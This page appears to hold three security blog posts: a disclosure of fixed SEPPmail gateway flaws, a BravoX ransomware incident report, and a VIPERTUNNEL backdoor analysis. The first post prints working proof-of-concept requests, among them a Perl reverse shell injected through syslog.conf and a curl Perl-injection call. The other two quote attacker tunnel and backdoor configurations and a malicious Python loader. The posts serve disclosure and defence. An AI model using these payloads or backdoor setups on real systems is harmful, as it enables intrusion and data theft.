InfoGuard Labs

SeppMail Secure E-Mail Gateway: Critical RCE and LFI Vulnerabilities

Dario Weiss, Manuel Feifel, Olivier Becker — Mon, 18 May 2026 00:00:00 GMT

TL;DR

We analyzed the SEPPMail Secure E-Mail Gateway virtual appliance for critical vulnerabilities. This post contains technical details for some of them (full list in Overview):

CVE-2026-2743: Pre-authenticated RCE by exploiting an arbitrary file write in the Large File Transfer (LFT) component. The configuration file /etc/syslog.conf can be written to turn it into an RCE.
CVE-2026-7864, CVE-2026-44127, CVE-2026-44128: GINA V2 contains several critical vulnerabilities such as RCE via Perl-injection and a LFI to read arbitrary mails from the device.

Introduction

SEPPmail is a widely used E-Mail Gateway for encrypted Mails in the DACH (Germany, Austria, Switzerland) region. There are several thousand public instances on Censys.

Based on the information from an ETH research project that SEPPMail has serious vulnerabilities (SeppMail Release Notes and for example CVE-2026-27441: OS command injection) we decided to further look into the subject since the research project did not look at all components.

SeppMail images can be downloaded for different VMs from the official website here. After we obtained SSH root access to the appliance we extracted the source code. The code was audited by LLM Agents as well as our penetration testers as a side project. We only partially checked the code and our focus was on exploitable critical vulnerabilities. In less than one hour, there were already promising vulnerability candidates: Path traversals, straight code injection and also some false positives.

By default, self-registration is enabled for SeppMail and consequently getting an authenticated session is not a problem.

Overview

The following vulnerabilities were identified and fixed. Not all vulnerabilities will be mentioned in this post:

Version	Fixed Vulnerability
15.0.2.1	CVE-2026-44128: Unauthenticated Remote Code Execution
15.0.3	CVE-2026-44126: Insecure deserialization
15.0.4	CVE-2026-2743: Arbitrary File Write via Path Traversal upload to Remote Code Execution
15.0.4	CVE-2026-44125: Missing Authorization in GINAv2
15.0.4	CVE-2026-44127: Local File Inclusion (LFI) and Arbitrary File Deletion in GINAv2
15.0.4	CVE-2026-44129: Server-side template injection in GINAv2
15.0.4	CVE-2026-7864: Exposure of Sensitive Information to an Unauthorized Actor in GINAv2

CVE-2026-2743: File Upload Path Traversal to RCE in Exposed Web UI

The affected component in CVE-2026-2743 is the Large File Transfer (LFT) feature. This is enabled by the majority of customers according to a scan based on Censys data. The affected file.app back-end handles large attachments via chunked uploads which are stored in a temporary session directory before being finalized. The vulnerability identification as well as the exploitation was largely done by gemini-cli in our custom LLM-Agent workflow.

The Primary Vulnerability: Unsanitized Path Traversal

The core flaw exists in the handle_request function of /v1/file.app. When processing a chunked upload, the application extracts a file parameter directly from the user-supplied JSON payload:

# /v1/file.app
push @{$fileparams->{soapfiles}}, {
    ...
    file => $file->{file} || q{},  # Unsanitized user input
    ...
};
...
my $answer = $message->store_attachments( undef, undef, $fileparams );

This file value is passed to WebMailMessage::store_attachments, which uses it to construct the output path on the filesystem. Because the application performs zero sanitization on this parameter, an attacker can use directory traversal sequences (../) to escape the session directory and write to any location on the appliance writable as the nobody user.

Chaining to RCE

The nobody user has only very few permissions. Apart from the /tmp and /var there aren't many but one stood out:

find / -user nobody -perm -u+w
/dev/cuaU0
/etc/syslog.conf
/tmp/trust
/tmp/trust/crldir
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765/9C:EF:ED:B3:3C:24:8D:16:FC:CF:D0:8C:62:CD:44:BC:56:A0:D5:F0
[...]
/tmp/sessions
/tmp/sessions/daemon
/tmp/sessions/web
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db/__db.001
[...]
/var/lfm
/var/lfm/.keep
/var/lfm/nosync
/var/log/proxylog
/var/log/SMTPD.jobid
/var/log/system
[...]

On the SEPPmail appliance, the nobody user has an unusual and highly sensitive permission: write access to /etc/syslog.conf.

OpenBSD's syslogd supports piping log messages directly into a command. By exploiting the path traversal to overwrite the system's syslog configuration, we can execute arbitrary commands.

We can add a line to syslog.conf that pipes any system log message into a Perl-based reverse shell:

*.* |/usr/bin/perl -e 'use Socket;$i="<ATTACKER_IP>";$p=8081;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

The Trigger: `newsyslog`

A challenge in overwriting /etc/syslog.conf is that syslogd only re-reads its configuration when it receives a SIGHUP signal. A reboot replaces the syslog.conf with the original one, so we checked when this could happen without a reboot and how it could be sped up as a web user.

The appliance uses newsyslog for log rotation (e.g. leading to logfile.0), which runs every 15 minutes via cron. newsyslog rotates files that exceed a size limit and then automatically sends a SIGHUP to syslogd.

cat /var/cron/tabs/root
1-59/15 * * * * /usr/bin/newsyslog >/dev/null 2>/dev/null && ...

By bloating log files like SEPPMaillog which has a 10000kb limit in this case, we can force a rotation and a subsequent config reload. These can be filled by just sending web requests.

cat /etc/newsyslog.conf
[...]
/var/log/SEPPMaillog                                    644        99999     10000       *       Z
[...]

Full PoC Request

POST /v1/file.app HTTP/1.1
Host: test123123.com
Authorization: Basic NkZtQ2R [...] uNEU=
Content-Type: application/json
Content-Length: 682
Connection: close

{
   "files": [
        {
            "name": "syslog_exploit.txt",
            "file": "../../../../../../../etc/syslog.conf",
            "chunks": [
               {
                    "backref": 0,
                    "offset": 0,
                    "size": 240,
                    "data": "Ki4qIHwgL3Vzci9iaW4vcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xNzguNDYiOyRwPTgwODE7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwoj"
                }
            ]
       }
   ]
}

The content overwrites the beginning of the file:

Once the syslog config is reloaded, the reverse shell is received:

Impact

The chain allows for a complete takeover of the SEPPmail appliance. Attackers can read all mail traffic and persist indefinitely on the gateway. On these virtual appliances the Blue Teams have usually no visibility.

Only customers with the Large File Transfer license are affected by this. This can be tested by checking if the endpoint https://<gateway>/v1/file.app is reachable.

HTTP Status code 404 ==> not affected

GINA V2: A Fully Functional Web Shell

GINA is a web interface commonly exposed by SEPPMail instances to facilitate secure email communication with non-SEPPMail users. When an encrypted email is sent, the recipient receives an HTML attachment. Using a password mostly delivered via SMS, the user can then log in to decrypt and view the message through the sender's GINA interface. The updated GINA v2.x, available since approximately January 2025, fortunately requires explicit activation in the system settings. Because the feature is still under development, the application displays the following warning to administrators before it is enabled:

CVE-2026-44128: Perl Injection

The new UI under /api.app now supports new features such as the /api.app/template feature. Here we could theoretically upload and test templates or we can leverage it to a fully functional Perl web shell. The application takes the user-supplied upldd parameter and passes it directly into a Perl eval() statement. Because the input is not sanitized or validated, any Perl code injected into this parameter is immediately executed by the server:

sub get_template {
    my ($hr_request, $or_session, $or_webdomain, $hr_env) = @_;
    ...
            if ($hr_request->{params}{upldd}) {
                eval $hr_request->{params}{upldd};

The following request submitted via curl will create a file in the temp directory as a PoC:

curl -k -X POST "https://<TARGET_HOST>/api.app/template" -F "uplde=@/dev/null" -F "upldc=@/dev/null" -F "upldt=@/dev/null" -F "upldd=system('touch /tmp/trust/rce_poc');"

You might wonder why such a critical endpoint doesn't require authentication. The api.app configuration does specify a nosession => 1 key-value pair for certain endpoints (though notably not for this one). However, the application never actually evaluates this value. Instead of enforcing centralized access control at the routing level, the application relies on each individual API function to manually implement its own authentication checks. The function handling our template endpoint simply lacks this check entirely.

Interestingly, this vulnerability was silently patched sometime after version 15.0.0 (and is confirmed fixed by version 15.0.2.1). We originally stumbled across this flaw purely by accident after opening a directory containing an older version of the application. It is concerning that there is absolutely no mention of this critical security fix anywhere in the official release or patch notes.

CVE-2026-44127: Preview any file and delete its folder

The new api.app also supports the preview of attachments. The attachment/preview API endpoint accepts an identifier parameter. This can be set to arbitrary locations such as the local LDAP database of the appliance. This way, mails, all users, password hashes, keys, etc. can be exfiltrated.

After extracting we can look at the LDAP database:

After viewing a file via the identifier parameter, remove_folder is called which tries to delete the parent folder of the provided file.

sub preview
{
    my ( $hr_params ) = @_;
    my $s_tempfile = '/tmp/' . uri_unescape( $hr_params->{identifier} );
    $s_tempfile =~ s/["']+//g;
    if ( my $s_data = Webapp::Basics::read_file( $s_tempfile ) ) {
        my $s_mime_type = Webapp::Basics::read_file( $s_tempfile . '.info' );
        $s_tempfile =~ s/\/[^\/]+$//;
        Webapp::Basics::remove_folder( $s_tempfile );

As the process is running as the user nobody, most directories can not be deleted.

CVE-2026-7864: Debug Features

The /api.app/hello endpoint is available without authentication and supports some handy debug features. By simply appending the op=env parameter to the URL, the server dumps all of its environment variables. A simple GET request to /api.app/hello?op=env forces the server to return the complete environment variable list:

Disclosure Timeline

Date	Event
12.02.2026	First Vulnerability report submitted (CVE-2026-2743)
16.02.2026	Second Vulnerability report submitted
18.02.2026	Asking, if they have received the second report.
20.02.2026	Sending the second report again, as it got lost somewhere (it was in the mail attachment)
02.03.2026	Third Vulnerability report submitted
05.03.2026	Release of first CVE (CVE-2026-2743)
08.05.2026	Release of all other CVEs, but one was missing.
15.05.2026	Acknowledgment from SeppMail that they overlooked the vulnerability described in the third report, which can lead to RCE. This vulnerability is not included in this blog post.

Conclusion

With rather moderate effort and partially AI-assisted by using LLM agents, similarly to other recent vulnerability research from Andris Suter-Dörig, we were able to discover multiple critical vulnerabilities in the widely used SeppMail secure email solution. Even widely adopted publicly exposed solutions contain critical exploitable findings over a long period of time. These vulnerabilities could have been exploited to read all mail traffic or as an entry vector into the internal network. Blue Teams are usually blind on these virtual appliances.

This demonstrates that it is of utmost importance to implement and enforce continuous and thorough security review practises. With the fast rising capabilities of LLM agents, this is even more important as the required time and skill to identify and exploit these vulnerabilities is sinking drastically.

BravoX - The new Kids on the Block

Florian Scheiber — Fri, 17 Apr 2026 00:00:00 GMT

Figure 1: BravoX - Data Leak Site

BravoX is an emerging ransomware-as-a-service (RaaS) provider that came to public attention on January 23, 2026. Based on the observed modus operandi, the group appears to employ the tactic known as “double extortion.” In this scheme, data is exfiltrated from the affected environment before encryption, and the group then threatens not only to withhold system restoration but also to publish the stolen information unless a ransom is paid. At the time of this report’s publication, a total of 12 suspected victims are listed on the group’s associated Data Leak Site (DLS). Information is typically published there to exert pressure as part of the double extortion scheme.

The group appears to operate from within the former Soviet sphere. One indication is its stated prohibition on targeting organisations in CIS countries, a restriction that has been repeatedly observed across multiple ransomware operations linked to that region. While this does not by itself prove the group’s exact geographic origin, it is a notable behavioural indicator that aligns with patterns long associated with ransomware actors from the CIS. Due to the small number of victims listed on their DLS, we assume they are currently seeking other kids to play with.

During the investigation of the ransomware campaign, InfoGuard uncovered several atypical TTPs, most notably within the persistence phase, an area where the threat actors demonstrated a level of creativity that clearly set them apart. Rather than relying solely on standard techniques, BravoX combined tailored persistence mechanisms with specialised tooling designed to actively undermine security controls. This was further complemented by a surprisingly polished DLS and negotiation platform; they definitely know how to use AI. But then they started to beg for money - in an aggressive way...

Attack Chain

Initial Access

As observed with other ransomware groups, the threat actors gained initial access via an SSL VPN that lacked multi-factor authentication (MFA) and, of course, an account with a very weak password, enabling them to access the organisation’s internal network. It is a well-established pattern for threat actors to leverage exposed services to gain an initial foothold in corporate environments. Consequently, it is essential to properly harden such services and enforce MFA to reduce the risk of unauthorised access.

Reconnaissance

During the reconnaissance phase, the threat actors didn’t reinvent the wheel; instead, they stuck to the well-worn ransomware playbook, relying on widely used tools such as SoftPerfect Network Scanner and Advanced IP Scanner to map the environment. WMI-initiated commands, such as wmic product get name, further highlighted a methodical approach to gathering system information. As the next step in the playbook, the focus shifted to digging through server data, specifically hunting for credentials, VPN access details, and other valuable information that could facilitate the next stages of the attack.

CmdLine:_C:\Windows\System32\cmd.exe /Q /c powershell.exe -noni -nop -w 1 -enc IAB3AG0AaQBjACAAcAByAG8AZAB1AGMAdAAgAGcAZQB0ACAAbgBhAG0AZQA= 1> \Windows\Temp\rZERCU 2>&1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1> \Windows\Temp\MNkdjo 2>&1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1> C:\windows\temp\13e17740-f424-4e4e-8981-c0919f4064c4.txt 2>&1

Listing 1: Windows Defender detections

Credential Access/Privilege Escalation

When it came to credential access, the threat actors once again followed the classic playbook. A memory dump of the lsass.exe process (lsass.dmp) was created on a server, hardly a subtle move, but when there is no one watching, there is no judge. Shortly thereafter, a successful authentication using a privileged account was observed. The threat actors didn’t just try their luck; they succeeded in retrieving credentials directly from LSASS memory and wasted no time putting them to good use for privileged access.

Lateral Movement

For lateral movement, the threat actors opted for a rather “hands-on” approach, making extensive use of RDP to move across systems. Instead of relying on more covert techniques, they appeared perfectly comfortable logging in interactively and hopping from host to host, effectively turning the environment into their own remote workspace. With valid credentials in hand, this method proved both convenient and efficient, hardly stealthy, but clearly effective.

From the first compromised server, they quickly made their way to the Domain Controllers and then circled back to their point of origin. Somewhat unexpectedly, they then went quiet, only to return seven days later, as if picking up exactly where they had left off.

Persistence

When it came to persistence, things got a bit more creative, and the threat actors showed a touch of individuality. Scheduled tasks may be a classic, but the way they put them to use was anything but boring.

One task, named \Windows Timer, launched a locally stored Tor instance (tor.exe) using a dedicated configuration file. This setup configured a Tor Hidden Service (v3), effectively exposing the local RDP service 127.0.0.1:3389 through the Tor network. In other words, instead of bothering with firewall rules or open ports, they simply made the system reachable via an onion address — quietly turning RDP into an anonymously accessible backdoor.

C:\Windows\wintne\fk\tor\tor.exe -f C:\Windows\wintne\torrc.txt

Listing 2: Task Action \Windows Timer

HiddenServiceDir C:\Windows\wintne\hs

HiddenServicePort 3389 127.0.0.1:3389

HiddenServiceVersion 3

Listing 3: torrc.txt

Another scheduled task, somewhat philosophically named \WindowsUpdateZ, executed C:\Windows\dmw.exe with parameters to establish a SOCKS5 tunnel. The tool was first submitted to VirusTotal on 2025-10-23 and has only one detection: MALICIOUS (DeepInstinct). The analysed PE file represents a custom or repurposed SSH tunnelling utility that establishes an authenticated outbound connection to a remote host and exposes a local SOCKS5 proxy. This enables the threat actors to route traffic through the compromised system, effectively creating a covert pivot point into the internal network while bypassing traditional perimeter controls.

"C:\Windows\dmw.exe" -socks5-port 56555 -host 45[.]61[.]136[.]225 -password <REDACTED> -user <REDACTED> -ssh-port 22

Listing 4: Task Action \WindowsUpdateZ

All parameters are required:
  -host string
        SSH server host
  -password string
        SSH password
  -socks5-port int
        Base port for SOCKS5 proxy
  -ssh-port int
        SSH server port
  -user string
        SSH username

Listing 5: Parameters for dmw.exe

The command initiated an outbound SSH connection (port 22) to an external host while exposing a local SOCKS5 proxy on port 56555. The inclusion of username and password parameters suggests an authenticated tunnel, providing a stable and encrypted communication channel. Altogether, this setup allowed the threat actors to maintain persistent, covert access - no noisy inbound connections required, just neatly tunnelled traffic slipping past perimeter defences.

Defense Evasion

For defence evasion, BravoX - like many other threat actors - came prepared with a specialised toolkit designed to neutralise security controls. Among these was an EDR killer, fittingly named Killer.exe, alongside a vulnerable driver, vulndriver.sys, which is in fact wsftprm.sys - a known driver used to bypass or disable protection mechanisms. The PE file and the driver work together and communicate via the driver handle \\.\Warsaw_PM. After a quick strings analysis of the PE file - the lazy reverse engineering approach - the EDR Killer targets Microsoft Defender and Sophos EDR processes. Subtlety clearly wasn’t a design priority here; practicality over stealth seems to be the guiding principle.

Before deploying these tools, however, the threat actors first took the more straightforward route and attempted to disable Microsoft Defender via its user interface, because sometimes, the easiest way around security is simply asking it to stand down.

Exfiltration

For exfiltration, the threat actors reached for a familiar favourite - Rclone. A tool that has earned quite a reputation among threat actors for fairly obvious reasons. Its versatility and seamless integration with a wide range of cloud services make it an ideal choice for quietly moving data out of compromised environments. By blending in with legitimate traffic, Rclone allows operators to package and ship sensitive data off-site with minimal friction - efficient, low-profile, and very much in line with the playbook. Generously, BravoX even shared the volume of stolen data directly in the ransom note, specifying it in gigabytes. However, as is often the case with such figures, a certain degree of inaccuracy should be expected.

Impact

In terms of impact, the threat actors stuck to familiar territory. Virtual servers had their VMDKs encrypted - a common approach among ransomware groups, and one that tends to make life unnecessarily complicated for DFIR teams. Physical servers, meanwhile, were encrypted at the operating system level, using a conveniently named win.exe, not a masterpiece of creativity, but evidently sufficient for the task at hand. After the encryption routine finished, a ransom note named 00_Recovery_Notes.txt was placed on the systems. Encrypted files were appended with the extension .bx-0000, clearly marking affected data and serving as a reliable indicator of compromise.

C:\Users\<REDACTED>\Desktop\h\win.exe --token <REDACTED> --path-only -p \\<REDACTED>\Transfer --no-elevate`

Listing 6: Execution of the Ransomware

-t, --token       build token
--path-only       shortcut for --no-shadow-rm --no-recycle-wipe --no-drives --no-smb
-p, --path        enqueue path
--no-elevate      disable auto elevation

--no-shadow-rm    disable shadow copies remove
--no-recycle-wipe disable recycle bin wipe
--no-drives       disable local drives encrypt
--no-smb          disable smb encryption

Listing 7: Options used for the Ransomware

Negotiation & Extortion

The ransom note provides detailed instructions on how to get in touch with the threat actors:

Download and install Tor Browser
Open one of the links in Tor Browser: http://<REDACTED>.onion, http://<REDACTED>.onion
Create an account; to do this, click the "Sign up" button, specify your Email, generate or come up with a password, insert the token, and then click the "Submit" button.
Your token: <REDACTED>
For the next login, you will need your email and password, so make sure to save them.

Also mentioned in the ransom note - the services they offer:

Decrypt 3 of any files for free as proof.
Provide an effective decryptor for the entire network.
Confidentially delete all your data from our servers.
Give recommendations for closing the vulnerabilities.

Upon first login to the negotiation portal, victims are immediately greeted with a “discount” accompanied by a countdown timer - yeah, already a small win! The platform itself appears surprisingly modern, featuring various automated elements such as timers to keep the pressure consistently high. As seen with other ransomware groups, non-payment initially results in the organisation being listed on the data leak site, with actual data publication following at a later stage. BravoX outlines this escalation in three distinct phases:

Private: Available only by provided link for Support and you
Pre-release: Full post about your company published without files
Release: All your data available for everyone in our public blog

In a somewhat “customer-friendly” twist, victims are even given the opportunity to preview the upcoming blog post via a private link before publication. The negotiation platform also includes several features clearly designed to benefit the threat actors:

Logins of the victim are logged - they see when you log in, keep that in mind.
The threat actors can edit their chat messages after the fact, of course, to their advantage.

Figure 2: BravoX - Negotiation Platform

As soon as BravoX realised that no agreement would be reached, they shifted to a far more aggressive stance, persistently attempting to establish contact and push the deal forward. They even accepted our offer, which they had declined in the first place, and changed their answer in the chat accordingly. They used tactics such as mail bombing and reached directly out to employees of the affected organisation via LinkedIn messages, because when subtlety fails, persistence takes over. In such cases, keep cool; they will eventually stop it.

Recommendations

Know your attack surface: All exposed services and ports should be identified, properly hardened, protected with MFA, and access should be limited to only necessary users.
Patch management: Prioritise timely patching of internet-facing systems and critical vulnerabilities, especially on edge devices.
Least privilege: Enforce the principle of least privilege by restricting user and service permissions to only what is strictly necessary, minimising the impact of potential compromises.
MDR (Managed Detection and Response): Deploy EDR/XDR solutions across all endpoints and ensure continuous 24/7 monitoring to enable rapid detection and response to suspicious activity.
Backup strategy: Maintain offline, immutable backups and regularly test restoration procedures to ensure recovery in the event of ransomware.
Threat hunting: Regularly perform proactive threat hunting focused on known attacker TTPs, especially for signs of persistence and lateral movement.

Conclusion

The BravoX ransomware campaign highlights that modern ransomware operations do not necessarily rely on novel techniques, but rather on the effective combination and adaptation of well-known methods. By leveraging familiar tools and tactics, ranging from credential harvesting and RDP-based lateral movement to scheduled tasks for persistence, the threat actors demonstrated a structured and deliberate approach. What sets this campaign apart is not innovation itself, but the way these techniques were tailored and orchestrated, including the use of covert access channels such as Tor hidden services and SOCKS tunnelling to maintain long-term, stealthy access.

The campaign’s impact, including widespread encryption of virtual and physical systems as well as data exfiltration, underscores the continued effectiveness of double extortion strategies. At the same time, the shiny data leak site and neatly designed negotiation platform, paired with almost childlike persistence in pursuing payment, send somewhat mixed signals regarding the overall professionalism of the operation.

Organisations should take this as a reminder that defending against such campaigns requires a strong focus on fundamentals. This includes securing exposed services, enforcing multi-factor authentication, monitoring for suspicious authentication and lateral movement activity, and ensuring comprehensive visibility across endpoints and networks. Strengthening detection capabilities around common attacker behaviours, as well as regularly reviewing and testing incident response processes, remains essential for identifying and disrupting these attacks at an early stage.

Indicators of Compromise (IOCs)

C2 Assets	Description
91[.]222[.]174[.]96	IP Address of Threat Actors
91[.]222[.]174[.]120	IP Address of Threat Actors
64[.]94[.]85[.]76	IP Address of Threat Actors
45[.]61[.]136[.]225	Host of Threat Actors (SSH Tunnel)
WIN-3P5JQGGAS0L	Hostname of Threat Actors
69810693C1FBFF7	Hostname of Threat Actors

Staging Directories	Description
C:\Temp	This directory was used to download and run various scripts, tools, and malware.
C:\Windows	This directory was used to download and execute various tools and malware.
C:\Windows\wintne	This directory was used to download and execute Tor.
C:\Users<REDACTED>\Music	This directory was used to download and execute various tools.

Tool Name	SHA256
Advanced_IP_Scanner_2.5.4594.1.exe	26d5748ffe6bd95e3fee6ce184d388a1a681006dc23a0f08d53c083c593c193b
dmw.exe	718843e370a54fb55002def4f5f9e5b2cd85074f43c2bb52195f889371c0fb2f
Killer.exe	fd7752ec39f9c73bf330cfdb53691cf89f3e316c81c7102566df51430e1bfed5
putty.exe	16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad
rclone.exe	aaa647327ba5b855bedea8e889b3fafdc05a6ca75d1cfd98869432006d6fecc9
System.exe	6c176e9c2a7eaf4eb26ee08deadba88ba39a14cba064f946d2722718ac1b57f8
tor.exe	fa3b6b5ed9ea44aa91e7904081745b4af63a8e322e8090eaa7e303ce68247e9c
win.exe	f6a96e19344b3f9bd2ac9c47737552243b43bd11663cf308c04b03a6510bbc10
vulndriver.sys	ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8

Mitre ATT&CK Mapping

Category	MITRE ID	Description
Initial Access	T1133	External Remote Services
Execution	T1059.001	Command and Scripting Interpreter: PowerShell
	T1059.003	Command and Scripting Interpreter: Windows Command Shell
Persistence	T1078.002	Valid Accounts: Domain Accounts
	T1053.005	Scheduled Task/Job: Scheduled Task
Defense Evasion	T1211	Exploitation for Defense Evasion
	T1562.001	Impair Defenses: Disable or Modify Tools
Credential Access	T1003.001	OS Credential Dumping: LSASS Memory
Discovery	T1135	Network Share Discovery
	T1087.002	Account Discovery: Domain Account
	T1018	Remote System Discovery
	T1083	File and Directory Discovery
Lateral Movement	T1021.001	Remote Services: Remote Desktop Protocol
Collection	T1005	Data from Local System
	T1560	Archive Collected Data
Exfiltration	T1048	Exfiltration Over Alternative Protocol
Impact	T1486	Data Encrypted for Impact
	T1490	Inhibit System Recovery
	T1529	System Shutdown/Reboot

Slithering Through the Noise - Deep Dive into the VIPERTUNNEL Python Backdoor

Evgen Blohm — Thu, 09 Apr 2026 00:00:00 GMT

Introduction

During a recent DragonForce ransomware engagement, we identified several artefacts indicative of anomalous behaviour inconsistent with typical campaign activity. During a persistence review, we aggregated Autoruns output from all endpoints to identify anomalies. A scheduled task named 523135538 was identified, configured to execute C:\ProgramData\cp49s\pythonw.exe without command-line arguments. Executing pythonw.exe without a script path or -c argument is atypical in legitimate Windows environments. Although DLL sideloading was initially suspected, analysis of the containing directory indicated a different persistence mechanism. Within the directory, we found C:\ProgramData\cp49s\Lib\sitecustomize.py. In Python, this module auto-imports at startup. Placing malicious code here ensures it runs whenever pythonw.exe starts, without command-line input. Analysis of sitecustomize.py clarified why the absence of command-line arguments was sufficient. The script leverages ctypes to invoke Python C API functions and infer its runtime execution context:

import runpy, os, sys, ctypes
a = ctypes.c_int()
p = ctypes.POINTER(ctypes.c_wchat_p)()
ctypes.pythonapi.Py_GetArgcArgv(ctypes.byref(a), ctypes.byref(p))
if a.value == 1:
    d = os.path.dirname(sys.executable)
    t = os.path.join(d, "b5yogiiy3c.dll")
    runpy.run_path(t, run_name='__main__')

Using Py_GetArgcArgv, the script checks argc. An argc of 1 (just pythonw.exe) means no command-line input. Under this, it locates b5yogiiy3c.dll in C:\ProgramData\cp49s and runs it via runpy.

Analysis of b5yogiiy3c.dll

The file b5yogiiy3c.dll is an python script masquerading as a dynamic link library, with several layers of obfuscation.

The sections below detail the techniques used and the steps to recover the original Python source code.

Layers of obfuscation

The contents of b5yogiiy3c.dll was heavily obfuscated with layered abstraction, obscuring its behaviour. Analysis required manually reversing these layers. The sections below detail the techniques used and the steps to recover the original Python source code. The import statements hint at the script's purpose, enabling capability assessment before analysing obfuscated logic.

Some modules outside the Python Standard Library are embedded in C:\ProgramData\cp49s\ to ensure reliable execution without requiring pip. The cryptographic primitives—hash functions (blake3, SHA256, hashlib), symmetric ciphers (AES, ChaCha20), encoding tools (base64, zlib), and sys—highlight the script’s purpose, with unused os likely due to code reuse. This setup suggests a loader decrypts and stages a secondary payload. The script then masks function names and core Python calls with random variables to thwart static analysis.

Both screenshots show imported methods assigned to variables, with zlib.decompress prepared for later to handle compressed payloads. It also uses base64.b85decode, indicating Base85 encoding, which has a higher density and can bypass systems focused on standard Base64 patterns. Further analysis identifies two key decoding functions forming the core translation layer. Since the script contains little cleartext, these routines are the only mechanism to convert obfuscated blobs into executable logic. One reverses Base85 encoding, and the other converts integers to strings.

Below are deobfuscated decoding functions, preserving their original logic.

Tracing the script’s control flow leads to the final obfuscated payload at the end of the file.

Below are the deobfuscated decryption functions, preserving their original logic.

A large, high-entropy blob serves as the encoded payload. This blob is fed to WgGsgQuaeeYg7e(), which decodes and decrypts it using helper functions. The payload is processed with compile(), using a synthetic filename (<jK6xvQeYbpkDD>) and exec mode, then executed immediately. This keeps the next-stage logic in memory, reducing detection risk.

The decryption function employs control-flow flattening, which makes manual analysis more difficult. It runs in a while True loop, with a state variable controlling flow, updated each step instead of following a linear sequence.

Each subsequent stage follows the same pattern, just with different payloads, totalling three obfuscation layers before reaching the final payload. A public unpacker for this obfuscation framework is available from eSentire. However, in this case, the implementation differs slightly, and the unpacking strategy used by that script no longer works.

The Final Stage

After removing three obfuscation layers, the payload was recovered. The script creates a SOCKS5 proxy with an outbound tunnel to a hardcoded C2 server. While default C2 parameters and credentials are embedded, the proxy can also accept alternate C2 addresses via command-line arguments. Due to the incident's age, no other C2 endpoints were observed in our telemetry. The proxy uses port 443 for outbound connections, blending with typical HTTPS traffic to evade detection.

The payload includes three classes: Wire, Relay, and Commander. The Commander class inherits from threading.thread, serves as the main control thread, performs the initial C2 handshake, and spawns Relay instances as needed. The Relay class implements SOCKS5 proxy logic, mediating data between the C2 endpoint and local network once instantiated by Commander. The Wire class supports this by managing socket abstractions and encapsulating tunnel data. The modular design supports concurrent proxy sessions, enabling scalable traffic relay.

Further Hunting

Attribution

We assess that the Python backdoor is linked to UNC2165 and EvilCorp, according to Google Threat Horizons and GuidePoint Security research. Its SOCKS5 tunnelling and modular design match documented VIPERTUNNEL traits. Often used as a follow-on payload from FAKEUPDATES infections, it serves for persistence and network pivot. Such access is usually monetized or sold to ransomware groups like RansomHub. In this case, ransomware activity was linked to DragonForce, but there's insufficient evidence to confirm VIPERTUNNEL's access was transferred or sold to them.

Same Obfuscation, different samples

Threat hunting uncovered multiple samples using the same obfuscation framework to deliver ShadowCoil (also known as COILCAGE or RATTLEGRAB by Google), a Python credential-stealing malware. eSentire reports that ShadowCoil targets Chromium-based browsers such as Chrome and Edge; however, it has also been found to extract credentials from Firefox, indicating ongoing development to expand its reach. The overlap suggests ViperTunnel and ShadowCoil are from the same former RansomHub affiliates. They share a multi-stage packer—likely a private utility. This obfuscation is tied to the activity cluster, making its logic a strong indicator of their operation, whether it’s a proxy or credential stealer. One notable difference in the obfuscation is that the ShadowCoil samples include additional anti-debugging checks, as illustrated in the following screenshot.

The check for TracerPid in /proc/self/status detects if a process is traced, a Linux-specific anti-debugging technique. Its inclusion conflicts with the script's Windows focus on browser paths for Chrome, Edge, and Firefox. Errors on Windows—lacking /proc-are suppressed due to the try/except block, allowing execution to continue. This suggests the obfuscation framework is cross-platform. While ShadowCoil and ViperTunnel payloads target Windows, Linux anti-debugging hints at future Linux malware. The modular design allows code reuse across OSes, even if the payload is OS-specific.

Clustering

Significant changes in code logic and obfuscation require a clear timeline of the backdoor’s evolution. Establishing a reliable timeline depends on correlating data points, mainly hardcoded C2 infrastructure and external metadata. C2 communication shows active deployment periods, but VirusTotal upload timestamps and domain registration records help fill gaps. We first present significant changes in the use of obfuscation and code logic to highlight development efforts and then use these clusters to chart chronological development. Clustering analysis found four variants of the final payload. Though they all establish a tunnel, differences in structure and implementation indicate iterative development. All samples used the same hardcoded credentials: AnyUser / AnyPassword. Based on the following clustering, the estimated timeframes for each group are as follows

Group	Timeframe	Evidence Source
Early Development	December 2023	VirusTotal Upload Timestamps
Adopting of public Tooling	September 2024	VirusTotal Upload Timestamps
Refinement & Debugging	December 2024 - September 2025	VirusTotal Upload Timestamps + Domain Registrations
Modern Production Variant	September 2025 - December 2025	VirusTotal Upload Timestamps + Domain Registrations + Archive Timestamps + Own Cases

An Overview of the clustering result, including chronological information, can be found in the following timeline. This timeline exclusively includes C2 servers that have been explicitly hardcoded within the observed samples.

Early Development

The early development samples are dated to roughly the end of 2023. The samples in this group exhibit numerous coding inconsistencies and spelling errors. These samples lack a hardcoded command-and-control (C2) address and contain notable typos, such as deamon instead of daemon.

Additional errors include misspelled magic methods, such as __setatrr__ instead of __setattr__.

Further spelling errors are present, including verifing instead of verifying.

